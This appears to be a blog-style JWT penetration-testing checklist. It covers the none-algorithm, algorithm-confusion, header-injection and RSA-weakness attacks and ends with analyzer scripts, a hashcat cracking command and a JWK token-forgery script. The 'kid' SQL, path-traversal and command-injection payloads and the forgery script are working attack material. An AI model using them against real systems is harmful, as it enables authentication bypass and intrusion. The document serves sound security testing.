Comprehensive JWT Penetration Testing Checklist
in General
I’ve compiled a thorough JWT pentest checklist, including all the code you’ll need with step by step instructions.
Initial JWT Inspection
- Is the token generated on the client side? Search the proxy history for the JWT value using regex:
\b([A-Za-z0-9_-]{10,}+)\.([A-Za-z0-9_-]{10,}+)\.([A-Za-z0-9_-]{16,}+)\b
. If it originates in a request, it is created client-side. Client-side JWT creation is insecure and can be manipulated. - Run the JWT enumeration script for automatic analysis of JWTs. It will suggest attacks based on the token values.
- Examine the JWT structure using jwt.io to understand header, payload, and signature components.
Signature Verification Issues
- Missing signature verification: In Burp Suite, send the request to Repeater, highlight the payload (middle) section of the JWT, then edit the decoded data. Check the response. Did the application accept the modified JWT?
- None Algorithm Attack: Set the
alg
-claim in the JWT’s header tonone
. Use CyberChef by selecting theJWT Sign
operation and setting theSigning algorithm
toNone
. Modify the JWT payload, and CyberChef will forge a JWT for us.
Algorithm Manipulation Attacks
- Are the HS256, HS384, or HS512 algorithms used? Attempt to crack the signing secret using hashcat mode 16500 and wordlists.
- Does the web application use an asymmetric algorithm such as
RS256
? Attempt algorithm confusion attacks by switching to HS256 and signing with the public key.
RSA-Specific Vulnerabilities
- Weak RSA Key Factorization: For RS256/RS384/RS512 tokens, extract the public key and check if it uses insufficient bit length (less than 2048 bits). Tools like Factordb or RsaCtfTool can be used to attempt factorization of weak keys.
- Shared Prime Factors: Use the RSA Shared Prime Factors Script to check if different RSA keys share prime factors, which would allow recovery of private keys.
- Low Public Exponent Attacks: Use the Low Public Exponent Attack Script to check for vulnerable exponents like e=3, which may be susceptible to:
- Cube Root Attack (if a message is encrypted without proper padding and m³ < n)
- Hastad’s Broadcast Attack (if the same message is encrypted with multiple public keys all using e=3)
- Bleichenbacher’s e=3 Signature Forgery (if PKCS#1 v1.5 padding verification is improper)
- RSA Padding Oracle Attacks: Test for improper validation of PKCS#1 v1.5 padding in RSA operations, which could allow forging valid signatures without knowing the private key.
- Timing Attacks: If you have direct access to the service, check for timing differences in RSA operations that may leak information about the private key.
Key Management
- Reusing JWT Secrets: If a company hosts multiple web applications that use JWTs for authentication, each must use a different signing secret. If this is not the case, an attacker might be able to use a JWT obtained from one web application to authenticate to another. This situation becomes particularly problematic if one of these web applications grants higher privilege level access, and both encode the privilege level within the JWT.
Header Parameter Manipulation
- Is the web application misconfigured to accept arbitrary keys provided in the jwk claim? Use the JWK Exploitation Script to attempt jwk exploit.
- Test JKU claim: Does the application accept a JWT with a jku claim pointing to a URL under your control?
- Host a JWK set file at a URL you control.
- Create a JWT with the jku header pointing to your URL.
- Test if the application makes a request to your server to retrieve the key.
- Does JWT contain a
kid
header?- Attempt revealing the key via “kid”: If
kid
points to a file path, try to locate the file in the application’s directories. - Attempt path traversals via “kid”: Try path traversal payloads like
"../../dev/null"
to manipulate the key used for verification. - Attempt SQL injection via “kid”: If the
kid
value is used in SQL queries, try injections like"non-existent-index' UNION SELECT 'ATTACKER';-- -"
. - Attempt OS injection via “kid”: If the
kid
value is used in command execution, try command injection payloads like"/root/keys/secret.key; command"
.
- Attempt revealing the key via “kid”: If
- Was an
x5c
header found in decoded JWT?- Generate a self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
- Create a JWT with this certificate in the x5c header and sign it with your private key.
- Test if the application accepts your self-signed token.
- Generate a self-signed certificate:
- Was an
x5u
header found?- Host a malicious certificate at a URL you control.
- Create a JWT with the x5u header pointing to your URL.
- Test if the application makes a request to your server to retrieve the certificate.
- Is a public key embedded?
- Generate a new public/private key pair.
- Embed the public key in the JWT header.
- Sign the token with your private key.
- Test if the application accepts the token.
Mitigation Validation
- Verify proper key rotation policies are in place
- Confirm RSA key strength meets current standards (minimum 2048 bits)
- Check that the application properly validates the entire token including headers, payload, and signature
- Verify that appropriate algorithm restrictions are in place to prevent algorithm switching attacks
Useful Tools
- JWT.io - For JWT inspection and debugging
- Hashcat - For brute forcing JWT secrets
- CyberChef - For JWT manipulation
- RsaCtfTool - For testing RSA vulnerabilities
- JWT Enumeration Script - For automatic JWT analysis
- RSA Sign2n - For extracting public keys from JWTs
Scripts and Commands
JWT Enumeration Script
#!/usr/bin/env python3
import sys
import jwt
import base64
import json
from typing import Dict, List, Optional
class JWTAnalyzer:
def __init__(self, token: str):
self.token = token
self.header = {}
self.payload = {}
self.signature = ""
self.suggestions = []
self.parse_token()
def parse_token(self) -> None:
try:
# Split token into parts
parts = self.token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
# Decode header and payload
def decode_part(part: str) -> Dict:
padding = '=' * (4 - len(part) % 4)
return json.loads(base64.urlsafe_b64decode(part + padding).decode('utf-8'))
self.header = decode_part(parts[0])
self.payload = decode_part(parts[1])
self.signature = parts[2]
except Exception as e:
print(f"Error parsing token: {str(e)}")
sys.exit(1)
def analyze(self) -> List[str]:
self.check_algorithm()
self.check_key_claims()
self.check_embedded_keys()
self.check_expiration()
self.check_sensitive_data()
self.check_rsa_security()
return self.suggestions
def check_algorithm(self) -> None:
alg = self.header.get('alg', '').lower()
if alg == 'none':
self.suggestions.append("WARNING: Token uses 'none' algorithm - test for none algorithm attacks")
if alg == 'hs256':
self.suggestions.append("Test for weak signing secrets using hashcat mode 16500")
self.suggestions.append("Test for algorithm confusion attacks if RS256 is also accepted")
if alg.startswith('rs'):
self.suggestions.append("Test for algorithm confusion by switching to HS256 and signing with public key")
self.suggestions.append("Test for weak RSA key length (should be at least 2048 bits)")
self.suggestions.append("Check public exponent (e) value - small values like e=3 can be vulnerable")
def check_rsa_security(self) -> None:
alg = self.header.get('alg', '').lower()
if alg.startswith('rs'):
self.suggestions.append("Extract public key and check for shared prime factors with other keys")
self.suggestions.append("Test for RSA padding oracle vulnerabilities")
# If jwk is in header, check for modulus and exponent
if 'jwk' in self.header and 'n' in self.header['jwk'] and 'e' in self.header['jwk']:
e_value = self.header['jwk']['e']
if e_value == 'AQAB' or e_value == 'Aw==': # Base64 for 65537 or 3
if e_value == 'Aw==':
self.suggestions.append("WARNING: Low public exponent (e=3) detected - test for cube root attacks")
def check_key_claims(self) -> None:
if 'jwk' in self.header:
self.suggestions.append("Test for JWK header injection - try providing arbitrary public keys - Embedded Public Key (CVE-2018-0114)")
if 'jku' in self.header:
self.suggestions.append("Test for JKU header injection - try pointing to attacker-controlled JWK set URL")
self.suggestions.append("Test for SSRF via JKU header")
if 'kid' in self.header:
self.suggestions.append("Test for path traversal via kid parameter")
self.suggestions.append("Test for SQL injection via kid parameter")
self.suggestions.append("Test for command injection via kid parameter")
self.suggestions.append("Test for null byte injection in kid parameter")
if 'x5c' in self.header:
self.suggestions.append("Test for x5c certificate chain attacks - try injecting self-signed certificates")
if 'x5u' in self.header:
self.suggestions.append("Test for x5u URL manipulation - try pointing to attacker-controlled certificates")
self.suggestions.append("Test for SSRF via x5u header")
def check_embedded_keys(self) -> None:
for field in ['n', 'e']:
if field in self.header:
self.suggestions.append(f"Token contains embedded key component ({field}) - test for key extraction and forging")
def check_expiration(self) -> None:
if 'exp' not in self.payload:
self.suggestions.append("Token has no expiration - test for token reuse")
def check_sensitive_data(self) -> None:
sensitive_fields = ['password', 'secret', 'key', 'token', 'auth']
for field in sensitive_fields:
if any(field in key.lower() for key in self.payload.keys()):
self.suggestions.append(f"Token contains potentially sensitive data in field containing '{field}'")
def print_token_info(analyzer: JWTAnalyzer) -> None:
print("\n=== Token Information ===")
print("\nHeader:")
print(json.dumps(analyzer.header, indent=2))
print("\nPayload:")
print(json.dumps(analyzer.payload, indent=2))
print("\n=== Security Analysis ===")
for i, suggestion in enumerate(analyzer.suggestions, 1):
print(f"{i}. {suggestion}")
def main():
if len(sys.argv) != 2:
print("Usage: python jwt_analyzer.py <jwt_token>")
sys.exit(1)
token = sys.argv[1]
analyzer = JWTAnalyzer(token)
analyzer.analyze()
print_token_info(analyzer)
if __name__ == "__main__":
main()
Cracking the Secret
# Save JWT to a file
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTcxMTIwNDYzN30.r_rYB0tvuiA2scNQrmzBaMAG2rkGdMu9cGMEEl3WTW0" > jwt.txt
# Run hashcat
hashcat -m 16500 jwt.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
# Show results
hashcat -m 16500 jwt.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --show
Algorithm Confusion Attack
# Clone rsa_sign2n
git clone https://github.com/silentsignal/rsa_sign2n
cd rsa_sign2n/standalone/
docker build . -t sig2n
# Run the container
docker run -it sig2n /bin/bash
# Execute the script with two different JWTs
python3 jwt_forgery.py <JWT1> <JWT2>
RSA Shared Prime Factors Script
import math
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sys
def extract_modulus(pem_file):
with open(pem_file, 'rb') as f:
pem_data = f.read()
public_key = serialization.load_pem_public_key(pem_data, default_backend())
return public_key.public_numbers().n
def gcd_check(moduli):
results = []
for i in range(len(moduli)):
for j in range(i+1, len(moduli)):
gcd_value = math.gcd(moduli[i], moduli[j])
if gcd_value != 1:
results.append((i, j, gcd_value))
return results
def main():
if len(sys.argv) < 3:
print("Usage: python3 shared_prime_check.py <key1.pem> <key2.pem> [key3.pem ...]")
sys.exit(1)
key_files = sys.argv[1:]
moduli = [extract_modulus(key_file) for key_file in key_files]
shared_primes = gcd_check(moduli)
if not shared_primes:
print("No shared prime factors found between the keys.")
else:
print("Shared prime factors found!")
for i, j, gcd_value in shared_primes:
print(f"Keys {key_files[i]} and {key_files[j]} share a prime factor: {gcd_value}")
q1 = moduli[i] // gcd_value
q2 = moduli[j] // gcd_value
print(f"For key {key_files[i]}: p = {gcd_value}, q = {q1}")
print(f"For key {key_files[j]}: p = {gcd_value}, q = {q2}")
if __name__ == "__main__":
main()
Low Public Exponent Attack Script
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sys
import gmpy2
def check_public_exponent(pem_file):
with open(pem_file, 'rb') as f:
pem_data = f.read()
public_key = serialization.load_pem_public_key(pem_data, default_backend())
e = public_key.public_numbers().e
n = public_key.public_numbers().n
print(f"Public key info for {pem_file}:")
print(f"Modulus (n): {n}")
print(f"Public exponent (e): {e}")
if e < 10:
print("WARNING: Small public exponent detected!")
if e == 3:
print("Extremely vulnerable exponent e=3 detected. Potential attacks:")
print("- Cube root attack if messages are sent without proper padding")
print("- Hastad's broadcast attack if same message is encrypted with multiple keys")
print("- Bleichenbacher's e=3 signature forgery if PKCS#1 v1.5 padding is not properly verified")
bit_length = n.bit_length()
print(f"Key size: {bit_length} bits")
if bit_length < 2048:
print(f"WARNING: Key size ({bit_length} bits) is below recommended minimum of 2048 bits!")
def main():
if len(sys.argv) != 2:
print("Usage: python3 check_rsa_exponent.py <public_key.pem>")
sys.exit(1)
pem_file = sys.argv[1]
check_public_exponent(pem_file)
if __name__ == "__main__":
main()
JWK Exploitation Script
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from jose import jwk
import jwt
import argparse
def create_forged_jwt(payload, private_key_path, output_file=None):
# Load payload
jwt_payload = payload
# Generate JWK from public key
with open(private_key_path, 'rb') as f:
private_key_pem = f.read()
# Extract public key from private key
private_key = serialization.load_pem_private_key(
private_key_pem,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# Convert to JWK
jwk_key = jwk.construct(public_key, algorithm='RS256')
jwk_dict = jwk_key.to_dict()
# Create JWT with jwk in header
token = jwt.encode(
jwt_payload,
private_key_pem,
algorithm='RS256',
headers={'jwk': jwk_dict}
)
if output_file:
with open(output_file, 'w') as f:
f.write(token)
return token
def main():
parser = argparse.ArgumentParser(description='Create a forged JWT with jwk header')
parser.add_argument('--payload', type=str, required=True, help='JSON payload string')
parser.add_argument('--key', type=str, required=True, help='Path to private key file')
parser.add_argument('--output', type=str, help='Output file for the JWT')
args = parser.parse_args()
import json
try:
payload = json.loads(args.payload)
except json.JSONDecodeError:
print("Error: Invalid JSON payload")
return
token = create_forged_jwt(payload, args.key, args.output)
print("Forged JWT:")
print(token)
if __name__ == "__main__":
main()